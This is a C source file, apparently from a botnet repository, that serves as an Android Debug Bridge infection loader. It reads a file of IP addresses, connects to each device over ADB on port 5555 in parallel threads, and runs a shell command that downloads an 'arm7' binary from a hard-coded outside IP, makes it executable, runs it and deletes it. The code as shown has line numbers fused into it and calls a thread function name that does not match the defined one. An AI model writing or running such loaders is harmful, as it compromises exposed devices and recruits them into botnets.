Path: blob/master/Botnets/Exploits/ADB-ANDROID/loader.c
5038 views
// adb loader written by hubnr;1#include <stdio.h>2#include <stdlib.h>3#include <string.h>4#include <pthread.h>5#include <unistd.h>67#define MAX_IP_LEN 168#define CMD_MAX_LEN 256910typedef struct11{12char ip[MAX_IP_LEN];13int count;14} adb_args;1516void* adb_infect(void* arg)17{18adb_args* args = (adb_args*) arg;19char cmd[CMD_MAX_LEN];20sprintf(cmd, "adb connect %s", args->ip);21system(cmd);22sleep(7);23sprintf(cmd, "adb -s %s:5555 shell \"cd /data/local/tmp; rm -rf bins.sh; wget http://104.248.113.17/arm7; chmod 777 arm7; ./arm7; rm -rf arm7\"", args->ip);24system(cmd);25return NULL;26}2728int main(int argc, char** argv)29{30if (argc < 2)31{32printf("Usage: %s <file_with_ips>\n", argv[0]);33return 1;34}3536FILE* fp = fopen(argv[1], "r");3738if (fp == NULL)39{40printf("Error opening file: %s\n", argv[1]);41return 1;42}4344char line[MAX_IP_LEN];45int count = 0;46pthread_t threads[1024];4748while (fgets(line, MAX_IP_LEN, fp) != NULL)49{50line[strcspn(line, "\r\n")] = '\0';51adb_args* args = (adb_args*) malloc(sizeof(adb_args));52strncpy(args->ip, line, MAX_IP_LEN);53args->count = ++count;54pthread_create(&threads[count], NULL, adb, args);55usleep(100000);56}5758fclose(fp);5960for (int i = 1; i <= count; ++i)61{62pthread_join(threads[i], NULL);63}6465return 0;66}676869